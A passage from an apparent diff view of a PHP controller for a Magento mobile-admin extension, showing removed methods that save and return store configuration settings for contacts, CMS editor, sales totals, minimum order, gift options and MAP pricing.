-
if($storeId == 0)
|
| 1970 |
-
{
|
| 1971 |
-
Mage::getConfig()->saveConfig('contacts/email/email_template', $post_data['emailTemplateVal'], 'default', $storeId);
|
| 1972 |
-
}
|
| 1973 |
-
else
|
| 1974 |
-
{
|
| 1975 |
-
Mage::getConfig()->saveConfig('contacts/email/email_template', $post_data['emailTemplateVal'], 'stores', $storeId);
|
| 1976 |
-
}
|
| 1977 |
-
|
| 1978 |
-
$storeContacts['successMessage'] = "Conatct Email Template updated On ".$storeName." Store.";
|
| 1979 |
-
Mage::getConfig()->reinit();
|
| 1980 |
-
Mage::app()->reinitStores();
|
| 1981 |
-
}
|
| 1982 |
-
$emailTemplateSelectedValue = Mage::getStoreConfig('contacts/email/email_template', $storeId);
|
| 1983 |
-
|
| 1984 |
-
$emailTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 1985 |
-
$emailTemCollection = $emailTemObj->toOptionArray();
|
| 1986 |
-
if($emailTemCollection[0]['value'] == "")
|
| 1987 |
-
{
|
| 1988 |
-
$emailTemCollection[0]['value'] = "contacts_email_email_template";
|
| 1989 |
-
}
|
| 1990 |
-
//echo "<pre>"; print_r($emailTemCollection); die;
|
| 1991 |
-
foreach ($emailTemCollection as $value)
|
| 1992 |
-
{
|
| 1993 |
-
if($value['value'] == $emailTemplateSelectedValue)
|
| 1994 |
-
{
|
| 1995 |
-
|
| 1996 |
-
$emailTemArr['label'] = $value['label'];
|
| 1997 |
-
$emailTemArr['value'] = $value['value'];
|
| 1998 |
-
$emailTemArr['status'] = 1;
|
| 1999 |
-
$storeContacts['emailTempColl'][] = $emailTemArr;
|
| 2000 |
-
}
|
| 2001 |
-
else
|
| 2002 |
-
{
|
| 2003 |
-
$emailTemArr['label'] = $value['label'];
|
| 2004 |
-
$emailTemArr['value'] = $value['value'];
|
| 2005 |
-
$emailTemArr['status'] = 0;
|
| 2006 |
-
$storeContacts['emailTempColl'][] = $emailTemArr;
|
| 2007 |
-
}
|
| 2008 |
-
}
|
| 2009 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 2010 |
-
|
| 2011 |
-
|
| 2012 |
-
//echo "<pre>"; print_r($storeContacts); die;
|
| 2013 |
-
$jsonData = Mage::helper('core')->jsonEncode($storeContacts);
|
| 2014 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 2015 |
-
}
|
| 2016 |
-
catch(Exception $e)
|
| 2017 |
-
{
|
| 2018 |
-
$errorResult['error'] = $e->getMessage();
|
| 2019 |
-
|
| 2020 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 2021 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 2022 |
-
}
|
| 2023 |
-
}
|
| 2024 |
-
else
|
| 2025 |
-
{
|
| 2026 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 2027 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 2028 |
-
}
|
| 2029 |
-
}
|
| 2030 |
-
/***** End Contacts section ******/
|
| 2031 |
-
|
| 2032 |
-
|
| 2033 |
-
/***** Start Content Management section ******/
|
| 2034 |
-
|
| 2035 |
-
public function contentManagementAction()
|
| 2036 |
-
{
|
| 2037 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 2038 |
-
{
|
| 2039 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 2040 |
-
$sessionId = $post_data['session'];
|
| 2041 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 2042 |
-
{
|
| 2043 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 2044 |
-
return false;
|
| 2045 |
-
}
|
| 2046 |
-
|
| 2047 |
-
try
|
| 2048 |
-
{
|
| 2049 |
-
$storeId = $post_data['store'];
|
| 2050 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 2051 |
-
|
| 2052 |
-
//WYSIWYG Options
|
| 2053 |
-
|
| 2054 |
-
//Enable WYSIWYG Editor
|
| 2055 |
-
if(isset($post_data['editorVal']))
|
| 2056 |
-
{
|
| 2057 |
-
if($storeId == 0)
|
| 2058 |
-
{
|
| 2059 |
-
Mage::getConfig()->saveConfig('cms/wysiwyg/enabled', $post_data['editorVal'], 'default', $storeId);
|
| 2060 |
-
}
|
| 2061 |
-
else
|
| 2062 |
-
{
|
| 2063 |
-
Mage::getConfig()->saveConfig('cms/wysiwyg/enabled', $post_data['editorVal'], 'stores', $storeId);
|
| 2064 |
-
}
|
| 2065 |
-
|
| 2066 |
-
$contentManagementAcion['successMessage'] = "WYSIWYG Editor Option updated On ".$storeName." Store.";
|
| 2067 |
-
Mage::getConfig()->reinit();
|
| 2068 |
-
Mage::app()->reinitStores();
|
| 2069 |
-
}
|
| 2070 |
-
|
| 2071 |
-
$enableEditorSelectedValue = Mage::getStoreConfig('cms/wysiwyg/enabled', $storeId);
|
| 2072 |
-
|
| 2073 |
-
$ediorObj = new Mage_Adminhtml_Model_System_Config_Source_Cms_Wysiwyg_Enabled();
|
| 2074 |
-
$enabledEditorArray = $ediorObj->toOptionArray();
|
| 2075 |
-
|
| 2076 |
-
//echo "<pre>"; print_r($enabledEditorArray); die;
|
| 2077 |
-
foreach ($enabledEditorArray as $value)
|
| 2078 |
-
{
|
| 2079 |
-
if($value['value'] == $enableEditorSelectedValue)
|
| 2080 |
-
{
|
| 2081 |
-
|
| 2082 |
-
$editorArr['label'] = $value['label'];
|
| 2083 |
-
$editorArr['value'] = $value['value'];
|
| 2084 |
-
$editorArr['status'] = 1;
|
| 2085 |
-
$contentManagementAcion['enabledEditorList'][] = $editorArr;
|
| 2086 |
-
}
|
| 2087 |
-
else
|
| 2088 |
-
{
|
| 2089 |
-
$editorArr['label'] = $value['label'];
|
| 2090 |
-
$editorArr['value'] = $value['value'];
|
| 2091 |
-
$editorArr['status'] = 0;
|
| 2092 |
-
$contentManagementAcion['enabledEditorList'][] = $editorArr;
|
| 2093 |
-
}
|
| 2094 |
-
}
|
| 2095 |
-
|
| 2096 |
-
|
| 2097 |
-
|
| 2098 |
-
|
| 2099 |
-
//Use Static URLs for Media Content in WYSIWYG for Catalog
|
| 2100 |
-
if(isset($post_data['contentStaticUrlVal']))
|
| 2101 |
-
{
|
| 2102 |
-
Mage::getConfig()->saveConfig('cms/wysiwyg/use_static_urls_in_catalog', $post_data['contentStaticUrlVal'], 'default', 0);
|
| 2103 |
-
|
| 2104 |
-
$contentManagementAcion['successMessage'] = "Static URLs for Media Content in WYSIWYG for Catalog updated On ".$storeName." Store.";
|
| 2105 |
-
Mage::getConfig()->reinit();
|
| 2106 |
-
Mage::app()->reinitStores();
|
| 2107 |
-
}
|
| 2108 |
-
$contentManagementAcion['contentStaticSelectedValue'] = Mage::getStoreConfig('cms/wysiwyg/use_static_urls_in_catalog');
|
| 2109 |
-
|
| 2110 |
-
|
| 2111 |
-
//echo "<pre>"; print_r($contentManagementAcion); die;
|
| 2112 |
-
$jsonData = Mage::helper('core')->jsonEncode($contentManagementAcion);
|
| 2113 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 2114 |
-
}
|
| 2115 |
-
catch(Exception $e)
|
| 2116 |
-
{
|
| 2117 |
-
$errorResult['error'] = $e->getMessage();
|
| 2118 |
-
|
| 2119 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 2120 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 2121 |
-
}
|
| 2122 |
-
}
|
| 2123 |
-
else
|
| 2124 |
-
{
|
| 2125 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 2126 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 2127 |
-
}
|
| 2128 |
-
}
|
| 2129 |
-
|
| 2130 |
-
/***** End Content Management section ******/
|
| 2131 |
-
|
| 2132 |
-
|
| 2133 |
-
/***** Start Sales section ******/
|
| 2134 |
-
|
| 2135 |
-
public function salesAction()
|
| 2136 |
-
{
|
| 2137 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 2138 |
-
{
|
| 2139 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 2140 |
-
$sessionId = $post_data['session'];
|
| 2141 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 2142 |
-
{
|
| 2143 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 2144 |
-
return false;
|
| 2145 |
-
}
|
| 2146 |
-
|
| 2147 |
-
try
|
| 2148 |
-
{
|
| 2149 |
-
$storeId = $post_data['store'];
|
| 2150 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 2151 |
-
|
| 2152 |
-
//General
|
| 2153 |
-
|
| 2154 |
-
//Hide Customer IP
|
| 2155 |
-
if(isset($post_data['hideCustomerIpVal']))
|
| 2156 |
-
{
|
| 2157 |
-
if($storeId == 0)
|
| 2158 |
-
{
|
| 2159 |
-
Mage::getConfig()->saveConfig('sales/general/hide_customer_ip', $post_data['hideCustomerIpVal'], 'default', $storeId);
|
| 2160 |
-
}
|
| 2161 |
-
else
|
| 2162 |
-
{
|
| 2163 |
-
Mage::getConfig()->saveConfig('sales/general/hide_customer_ip', $post_data['hideCustomerIpVal'], 'stores', $storeId);
|
| 2164 |
-
}
|
| 2165 |
-
|
| 2166 |
-
$salesAcion['successMessage'] = "Hide Customer IP updated On ".$storeName." Store.";
|
| 2167 |
-
Mage::getConfig()->reinit();
|
| 2168 |
-
Mage::app()->reinitStores();
|
| 2169 |
-
}
|
| 2170 |
-
$salesAcion['hideCustomerIpSelectedValue'] = Mage::getStoreConfig('sales/general/hide_customer_ip', $storeId);
|
| 2171 |
-
|
| 2172 |
-
|
| 2173 |
-
|
| 2174 |
-
//Checkout Totals Sort Order
|
| 2175 |
-
|
| 2176 |
-
//Subtotal
|
| 2177 |
-
if(isset($post_data['subtotalVal']))
|
| 2178 |
-
{
|
| 2179 |
-
Mage::getConfig()->saveConfig('sales/totals_sort/subtotal', $post_data['subtotalVal'], 'default', 0);
|
| 2180 |
-
|
| 2181 |
-
$salesAcion['successMessage'] = "Subtotal Value updated On ".$storeName." Store.";
|
| 2182 |
-
Mage::getConfig()->reinit();
|
| 2183 |
-
Mage::app()->reinitStores();
|
| 2184 |
-
}
|
| 2185 |
-
$salesAcion['subtotalSelectedValue'] = Mage::getStoreConfig('sales/totals_sort/subtotal');
|
| 2186 |
-
|
| 2187 |
-
|
| 2188 |
-
|
| 2189 |
-
//Discount
|
| 2190 |
-
if(isset($post_data['discountVal']))
|
| 2191 |
-
{
|
| 2192 |
-
Mage::getConfig()->saveConfig('sales/totals_sort/discount', $post_data['discountVal'], 'default', 0);
|
| 2193 |
-
|
| 2194 |
-
$salesAcion['successMessage'] = "Discount Value updated On ".$storeName." Store.";
|
| 2195 |
-
Mage::getConfig()->reinit();
|
| 2196 |
-
Mage::app()->reinitStores();
|
| 2197 |
-
}
|
| 2198 |
-
$salesAcion['discountSelectedValue'] = Mage::getStoreConfig('sales/totals_sort/discount');
|
| 2199 |
-
|
| 2200 |
-
|
| 2201 |
-
|
| 2202 |
-
//Shipping
|
| 2203 |
-
if(isset($post_data['shippingVal']))
|
| 2204 |
-
{
|
| 2205 |
-
Mage::getConfig()->saveConfig('sales/totals_sort/shipping', $post_data['shippingVal'], 'default', 0);
|
| 2206 |
-
|
| 2207 |
-
$salesAcion['successMessage'] = "Shipping Value updated On ".$storeName." Store.";
|
| 2208 |
-
Mage::getConfig()->reinit();
|
| 2209 |
-
Mage::app()->reinitStores();
|
| 2210 |
-
}
|
| 2211 |
-
$salesAcion['shippingSelectedValue'] = Mage::getStoreConfig('sales/totals_sort/shipping');
|
| 2212 |
-
|
| 2213 |
-
|
| 2214 |
-
|
| 2215 |
-
//Fixed Product Tax
|
| 2216 |
-
if(isset($post_data['fixProductTaxVal']))
|
| 2217 |
-
{
|
| 2218 |
-
Mage::getConfig()->saveConfig('sales/totals_sort/weee', $post_data['fixProductTaxVal'], 'default', 0);
|
| 2219 |
-
|
| 2220 |
-
$salesAcion['successMessage'] = "Fixed Product Tax Value updated On ".$storeName." Store.";
|
| 2221 |
-
Mage::getConfig()->reinit();
|
| 2222 |
-
Mage::app()->reinitStores();
|
| 2223 |
-
}
|
| 2224 |
-
$salesAcion['fixProductTaxSelectedValue'] = Mage::getStoreConfig('sales/totals_sort/weee');
|
| 2225 |
-
|
| 2226 |
-
|
| 2227 |
-
|
| 2228 |
-
//Tax
|
| 2229 |
-
if(isset($post_data['taxVal']))
|
| 2230 |
-
{
|
| 2231 |
-
Mage::getConfig()->saveConfig('sales/totals_sort/tax', $post_data['taxVal'], 'default', 0);
|
| 2232 |
-
|
| 2233 |
-
$salesAcion['successMessage'] = "Tax Value updated On ".$storeName." Store.";
|
| 2234 |
-
Mage::getConfig()->reinit();
|
| 2235 |
-
Mage::app()->reinitStores();
|
| 2236 |
-
}
|
| 2237 |
-
$salesAcion['taxSelectedValue'] = Mage::getStoreConfig('sales/totals_sort/tax');
|
| 2238 |
-
|
| 2239 |
-
|
| 2240 |
-
|
| 2241 |
-
//Grand Total
|
| 2242 |
-
if(isset($post_data['grandTotalVal']))
|
| 2243 |
-
{
|
| 2244 |
-
Mage::getConfig()->saveConfig('sales/totals_sort/grand_total', $post_data['grandTotalVal'], 'default', 0);
|
| 2245 |
-
|
| 2246 |
-
$salesAcion['successMessage'] = "Grand Total Value updated On ".$storeName." Store.";
|
| 2247 |
-
Mage::getConfig()->reinit();
|
| 2248 |
-
Mage::app()->reinitStores();
|
| 2249 |
-
}
|
| 2250 |
-
$salesAcion['grandTotalSelectedValue'] = Mage::getStoreConfig('sales/totals_sort/grand_total');
|
| 2251 |
-
|
| 2252 |
-
|
| 2253 |
-
|
| 2254 |
-
|
| 2255 |
-
//Reorder
|
| 2256 |
-
|
| 2257 |
-
//Allow Reorder
|
| 2258 |
-
if(isset($post_data['allowReorderVal']))
|
| 2259 |
-
{
|
| 2260 |
-
if($storeId == 0)
|
| 2261 |
-
{
|
| 2262 |
-
Mage::getConfig()->saveConfig('sales/reorder/allow', $post_data['allowReorderVal'], 'default', $storeId);
|
| 2263 |
-
}
|
| 2264 |
-
else
|
| 2265 |
-
{
|
| 2266 |
-
Mage::getConfig()->saveConfig('sales/reorder/allow', $post_data['allowReorderVal'], 'stores', $storeId);
|
| 2267 |
-
}
|
| 2268 |
-
|
| 2269 |
-
$salesAcion['successMessage'] = "Allow Reorder Value updated On ".$storeName." Store.";
|
| 2270 |
-
Mage::getConfig()->reinit();
|
| 2271 |
-
Mage::app()->reinitStores();
|
| 2272 |
-
}
|
| 2273 |
-
$salesAcion['allowReorderSelectedValue'] = Mage::getStoreConfig('sales/reorder/allow', $storeId);
|
| 2274 |
-
|
| 2275 |
-
|
| 2276 |
-
|
| 2277 |
-
|
| 2278 |
-
//Minimum Order Amount
|
| 2279 |
-
|
| 2280 |
-
//Enable
|
| 2281 |
-
if(isset($post_data['minOrderEnableVal']))
|
| 2282 |
-
{
|
| 2283 |
-
Mage::getConfig()->saveConfig('sales/minimum_order/active', $post_data['minOrderEnableVal'], 'default', 0);
|
| 2284 |
-
|
| 2285 |
-
$salesAcion['successMessage'] = "Minimum Order Amount extension updated On ".$storeName." Store.";
|
| 2286 |
-
Mage::getConfig()->reinit();
|
| 2287 |
-
Mage::app()->reinitStores();
|
| 2288 |
-
}
|
| 2289 |
-
$salesAcion['minOrderEnableSelectedValue'] = Mage::getStoreConfig('sales/minimum_order/active');
|
| 2290 |
-
|
| 2291 |
-
|
| 2292 |
-
|
| 2293 |
-
|
| 2294 |
-
//Minimum Amount
|
| 2295 |
-
if(isset($post_data['minAmountVal']))
|
| 2296 |
-
{
|
| 2297 |
-
Mage::getConfig()->saveConfig('sales/minimum_order/amount', $post_data['minAmountVal'], 'default', 0);
|
| 2298 |
-
|
| 2299 |
-
$salesAcion['successMessage'] = "Minimum Order Amount updated On ".$storeName." Store.";
|
| 2300 |
-
Mage::getConfig()->reinit();
|
| 2301 |
-
Mage::app()->reinitStores();
|
| 2302 |
-
}
|
| 2303 |
-
$salesAcion['minAmountSelectedValue'] = Mage::getStoreConfig('sales/minimum_order/amount');
|
| 2304 |
-
|
| 2305 |
-
|
| 2306 |
-
|
| 2307 |
-
//Description Message
|
| 2308 |
-
if(isset($post_data['descriptionMessVal']))
|
| 2309 |
-
{
|
| 2310 |
-
if($storeId == 0)
|
| 2311 |
-
{
|
| 2312 |
-
Mage::getConfig()->saveConfig('sales/minimum_order/description', $post_data['descriptionMessVal'], 'default', $storeId);
|
| 2313 |
-
}
|
| 2314 |
-
else
|
| 2315 |
-
{
|
| 2316 |
-
Mage::getConfig()->saveConfig('sales/minimum_order/description', $post_data['descriptionMessVal'], 'stores', $storeId);
|
| 2317 |
-
}
|
| 2318 |
-
|
| 2319 |
-
$salesAcion['successMessage'] = "Description Message updated On ".$storeName." Store.";
|
| 2320 |
-
Mage::getConfig()->reinit();
|
| 2321 |
-
Mage::app()->reinitStores();
|
| 2322 |
-
}
|
| 2323 |
-
$salesAcion['descriptionMessSelectedValue'] = Mage::getStoreConfig('sales/minimum_order/description', $storeId);
|
| 2324 |
-
|
| 2325 |
-
|
| 2326 |
-
|
| 2327 |
-
//Error to Show in Shopping Cart
|
| 2328 |
-
if(isset($post_data['errorMessVal']))
|
| 2329 |
-
{
|
| 2330 |
-
if($storeId == 0)
|
| 2331 |
-
{
|
| 2332 |
-
Mage::getConfig()->saveConfig('sales/minimum_order/error_message', $post_data['errorMessVal'], 'default', $storeId);
|
| 2333 |
-
}
|
| 2334 |
-
else
|
| 2335 |
-
{
|
| 2336 |
-
Mage::getConfig()->saveConfig('sales/minimum_order/error_message', $post_data['errorMessVal'], 'stores', $storeId);
|
| 2337 |
-
}
|
| 2338 |
-
|
| 2339 |
-
$salesAcion['successMessage'] = "Error to Show in Shopping Cart updated On ".$storeName." Store.";
|
| 2340 |
-
Mage::getConfig()->reinit();
|
| 2341 |
-
Mage::app()->reinitStores();
|
| 2342 |
-
}
|
| 2343 |
-
$salesAcion['errorMessSelectedValue'] = Mage::getStoreConfig('sales/minimum_order/error_message', $storeId);
|
| 2344 |
-
|
| 2345 |
-
|
| 2346 |
-
|
| 2347 |
-
//Validate Each Address Separately in Multi-address Checkout
|
| 2348 |
-
if(isset($post_data['validateAddressVal']))
|
| 2349 |
-
{
|
| 2350 |
-
Mage::getConfig()->saveConfig('sales/minimum_order/multi_address', $post_data['validateAddressVal'], 'default', 0);
|
| 2351 |
-
|
| 2352 |
-
$salesAcion['successMessage'] = "Validate Each Address Separately in Multi-address Checkout updated On ".$storeName." Store.";
|
| 2353 |
-
Mage::getConfig()->reinit();
|
| 2354 |
-
Mage::app()->reinitStores();
|
| 2355 |
-
}
|
| 2356 |
-
$salesAcion['validateAddressSelectedValue'] = Mage::getStoreConfig('sales/minimum_order/multi_address');
|
| 2357 |
-
|
| 2358 |
-
|
| 2359 |
-
|
| 2360 |
-
//Multi-address Description Message
|
| 2361 |
-
if(isset($post_data['multiAddressVal']))
|
| 2362 |
-
{
|
| 2363 |
-
if($storeId == 0)
|
| 2364 |
-
{
|
| 2365 |
-
Mage::getConfig()->saveConfig('sales/minimum_order/multi_address_description', $post_data['multiAddressVal'], 'default', $storeId);
|
| 2366 |
-
}
|
| 2367 |
-
else
|
| 2368 |
-
{
|
| 2369 |
-
Mage::getConfig()->saveConfig('sales/minimum_order/multi_address_description', $post_data['multiAddressVal'], 'stores', $storeId);
|
| 2370 |
-
}
|
| 2371 |
-
|
| 2372 |
-
$salesAcion['successMessage'] = "Multi-address Description Message updated On ".$storeName." Store.";
|
| 2373 |
-
Mage::getConfig()->reinit();
|
| 2374 |
-
Mage::app()->reinitStores();
|
| 2375 |
-
}
|
| 2376 |
-
$salesAcion['multiAddressSelectedValue'] = Mage::getStoreConfig('sales/minimum_order/multi_address_description', $storeId);
|
| 2377 |
-
|
| 2378 |
-
|
| 2379 |
-
|
| 2380 |
-
//Multi-address Error to Show in Shopping Cart
|
| 2381 |
-
if(isset($post_data['multiAddressErrorVal']))
|
| 2382 |
-
{
|
| 2383 |
-
if($storeId == 0)
|
| 2384 |
-
{
|
| 2385 |
-
Mage::getConfig()->saveConfig('sales/minimum_order/multi_address_error_message', $post_data['multiAddressErrorVal'], 'default', $storeId);
|
| 2386 |
-
}
|
| 2387 |
-
else
|
| 2388 |
-
{
|
| 2389 |
-
Mage::getConfig()->saveConfig('sales/minimum_order/multi_address_error_message', $post_data['multiAddressErrorVal'], 'stores', $storeId);
|
| 2390 |
-
}
|
| 2391 |
-
|
| 2392 |
-
$salesAcion['successMessage'] = "Multi-address Error to Show in Shopping Cart updated On ".$storeName." Store.";
|
| 2393 |
-
Mage::getConfig()->reinit();
|
| 2394 |
-
Mage::app()->reinitStores();
|
| 2395 |
-
}
|
| 2396 |
-
$salesAcion['multiAddressErrorSelectedValue'] = Mage::getStoreConfig('sales/minimum_order/multi_address_error_message', $storeId);
|
| 2397 |
-
|
| 2398 |
-
|
| 2399 |
-
|
| 2400 |
-
|
| 2401 |
-
|
| 2402 |
-
//Dashboard
|
| 2403 |
-
|
| 2404 |
-
//Use Aggregated Data (beta)
|
| 2405 |
-
if(isset($post_data['useAggregatedVal']))
|
| 2406 |
-
{
|
| 2407 |
-
Mage::getConfig()->saveConfig('sales/dashboard/use_aggregated_data', $post_data['useAggregatedVal'], 'default', 0);
|
| 2408 |
-
|
| 2409 |
-
$salesAcion['successMessage'] = "Use Aggregated Data updated On ".$storeName." Store.";
|
| 2410 |
-
Mage::getConfig()->reinit();
|
| 2411 |
-
Mage::app()->reinitStores();
|
| 2412 |
-
}
|
| 2413 |
-
$salesAcion['useAggregatedSelectedValue'] = Mage::getStoreConfig('sales/dashboard/use_aggregated_data');
|
| 2414 |
-
|
| 2415 |
-
|
| 2416 |
-
|
| 2417 |
-
|
| 2418 |
-
|
| 2419 |
-
//Gift Options
|
| 2420 |
-
|
| 2421 |
-
//Allow Gift Messages on Order Level
|
| 2422 |
-
if(isset($post_data['allowGiftVal']))
|
| 2423 |
-
{
|
| 2424 |
-
Mage::getConfig()->saveConfig('sales/gift_options/allow_order', $post_data['allowGiftVal'], 'default', 0);
|
| 2425 |
-
|
| 2426 |
-
$salesAcion['successMessage'] = "Allow Gift Messages on Order Level updated On ".$storeName." Store.";
|
| 2427 |
-
Mage::getConfig()->reinit();
|
| 2428 |
-
Mage::app()->reinitStores();
|
| 2429 |
-
}
|
| 2430 |
-
$salesAcion['allowGiftSelectedValue'] = Mage::getStoreConfig('sales/gift_options/allow_order');
|
| 2431 |
-
|
| 2432 |
-
|
| 2433 |
-
|
| 2434 |
-
//Allow Gift Messages for Order Items
|
| 2435 |
-
if(isset($post_data['allowGiftOrderVal']))
|
| 2436 |
-
{
|
| 2437 |
-
Mage::getConfig()->saveConfig('sales/gift_options/allow_items', $post_data['allowGiftOrderVal'], 'default', 0);
|
| 2438 |
-
|
| 2439 |
-
$salesAcion['successMessage'] = "Allow Gift Messages for Order Items updated On ".$storeName." Store.";
|
| 2440 |
-
Mage::getConfig()->reinit();
|
| 2441 |
-
Mage::app()->reinitStores();
|
| 2442 |
-
}
|
| 2443 |
-
$salesAcion['allowGiftOrderSelectedValue'] = Mage::getStoreConfig('sales/gift_options/allow_items');
|
| 2444 |
-
|
| 2445 |
-
|
| 2446 |
-
|
| 2447 |
-
|
| 2448 |
-
|
| 2449 |
-
//Minimum Advertised Price
|
| 2450 |
-
|
| 2451 |
-
//Enable MAP
|
| 2452 |
-
if(isset($post_data['enableMapVal']))
|
| 2453 |
-
{
|
| 2454 |
-
Mage::getConfig()->saveConfig('sales/msrp/enabled', $post_data['enableMapVal'], 'default', 0);
|
| 2455 |
-
|
| 2456 |
-
$salesAcion['successMessage'] = "Enable MAP Extension Updated On ".$storeName." Store.";
|
| 2457 |
-
Mage::getConfig()->reinit();
|
| 2458 |
-
Mage::app()->reinitStores();
|
| 2459 |
-
}
|
| 2460 |
-
$salesAcion['enableMapSelectedValue'] = Mage::getStoreConfig('sales/msrp/enabled');
|
| 2461 |
-
|
| 2462 |
-
|
| 2463 |
-
|
| 2464 |
-
//Apply MAP (Default Value)
|
| 2465 |
-
if(isset($post_data['applyMapVal']))
|
| 2466 |
-
{
|
| 2467 |
-
Mage::getConfig()->saveConfig('sales/msrp/apply_for_all', $post_data['applyMapVal'], 'default', 0);
|
| 2468 |
-
|
| 2469 |
-
$salesAcion['successMessage'] = "Apply MAP Value Updated On ".$storeName." Store.";
|
| 2470 |
-
Mage::getConfig()->reinit();
|
| 2471 |
-
Mage::app()->reinitStores();
|
| 2472 |
-
}
|
| 2473 |
-
$salesAcion['applyMapSelectedValue'] = Mage::getStoreConfig('sales/msrp/apply_for_all');
|
| 2474 |
-
|
| 2475 |
-
|
| 2476 |
-
|
| 2477 |
-
//Display Actual Price
|
| 2478 |
-
if(isset($post_data['displayActualVal']))
|
| 2479 |
-
{
|
| 2480 |
-
Mage::getConfig()->saveConfig('sales/msrp/display_price_type', $post_data['displayActualVal'], 'default', 0);
|
| 2481 |
-
|
| 2482 |
-
$salesAcion['successMessage'] = "Display Actual Price Updated On ".$storeName." Store.";
|
| 2483 |
-
Mage::getConfig()->reinit();
|
| 2484 |
-
Mage::app()->reinitStores();
|
| 2485 |
-
}
|
| 2486 |
-
$salesAcion['displayActualSelectedValue'] = Mage::getStoreConfig('sales/msrp/display_price_type');
|
| 2487 |
-
|
| 2488 |
-
|
| 2489 |
-
|
| 2490 |
-
//Default Popup Text Message
|
| 2491 |
-
if(isset($post_data['defaultPopUpVal']))
|
| 2492 |
-
{
|
| 2493 |
-
if($storeId == 0)
|
| 2494 |
-
{
|
| 2495 |
-
Mage::getConfig()->saveConfig('sales/msrp/explanation_message', $post_data['defaultPopUpVal'], 'default', $storeId);
|
| 2496 |
-
}
|
| 2497 |
-
else
|
| 2498 |
-
{
|
| 2499 |
-
Mage::getConfig()->saveConfig('sales/msrp/explanation_message', $post_data['defaultPopUpVal'], 'stores', $storeId);
|
| 2500 |
-
}
|
| 2501 |
-
|
| 2502 |
-
$salesAcion['successMessage'] = "Default Popup Text Message updated On ".$storeName." Store.";
|
| 2503 |
-
Mage::getConfig()->reinit();
|
| 2504 |
-
Mage::app()->reinitStores();
|
| 2505 |
-
}
|
| 2506 |
-
$salesAcion['defaultPopUpSelectedValue'] = Mage::getStoreConfig('sales/msrp/explanation_message', $storeId);
|
| 2507 |
-
|
| 2508 |
-
|
| 2509 |
-
|
| 2510 |
-
//Default "What's This" Text Message
|
| 2511 |
-
if(isset($post_data['defaultWhatsTextVal']))
|
| 2512 |
-
{
|
| 2513 |
-
if($storeId == 0)
|
| 2514 |
-
{
|
| 2515 |
-
Mage::getConfig()->saveConfig('sales/msrp/explanation_message_whats_this', $post_data['defaultWhatsTextVal'], 'default', $storeId);
|
| 2516 |
-
}
|
| 2517 |
-
else
|
| 2518 |
-
{
|
| 2519 |
-
Mage::getConfig()->saveConfig('sales/msrp/explanation_message_whats_this', $post_data['defaultWhatsTextVal'], 'stores', $storeId);
|
| 2520 |
-
}
|
| 2521 |
-
|
| 2522 |
-
$salesAcion['successMessage'] = "Default Text Message updated On ".$storeName." Store.";
|
| 2523 |
-
Mage::getConfig()->reinit();
|
| 2524 |
-
Mage::app()->reinitStores();
|
| 2525 |
-
}
|
| 2526 |
-
$salesAcion['defaultWhatsTextSelectedValue'] = Mage::getStoreConfig('sales/msrp/explanation_message_whats_this', $storeId);
|
| 2527 |
-
|
| 2528 |
-
|
| 2529 |
-
//echo "<pre>"; print_r($salesAcion); die;
|
| 2530 |
-
$jsonData = Mage::helper('core')->jsonEncode($salesAcion);
|
| 2531 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 2532 |
-
}
|
| 2533 |
-
catch(Exception $e)
|
| 2534 |
-
{
|
| 2535 |
-
$errorResult['error'] = $e->getMessage();
|
| 2536 |
-
|
| 2537 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 2538 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 2539 |
-
}
|
| 2540 |
-
}
|
| 2541 |
-
else
|
| 2542 |
-
{
|
| 2543 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 2544 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 2545 |
-
}
|
| 2546 |
-
}
|
| 2547 |
-
/***** End Sales section ******/
|
| 2548 |
-
|
| 2549 |
-
|
| 2550 |
-
|
| 2551 |
-
/***** Start Sales Email section ******/
|
| 2552 |
-
|
| 2553 |
-
public function salesEmailsOrderAction()
|
| 2554 |
-
{
|
| 2555 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 2556 |
-
{
|
| 2557 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 2558 |
-
$sessionId = $post_data['session'];
|
| 2559 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 2560 |
-
{
|
| 2561 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 2562 |
-
return false;
|
| 2563 |
-
}
|
| 2564 |
-
|
| 2565 |
-
try
|
| 2566 |
-
{
|
| 2567 |
-
$storeId = $post_data['store'];
|
| 2568 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 2569 |
-
|
| 2570 |
-
|
| 2571 |
-
//Order
|
| 2572 |
-
|
| 2573 |
-
//Enabled
|
| 2574 |
-
if(isset($post_data['salesEmailEnableVal']))
|
| 2575 |
-
{
|
| 2576 |
-
if($storeId == 0)
|
| 2577 |
-
{
|
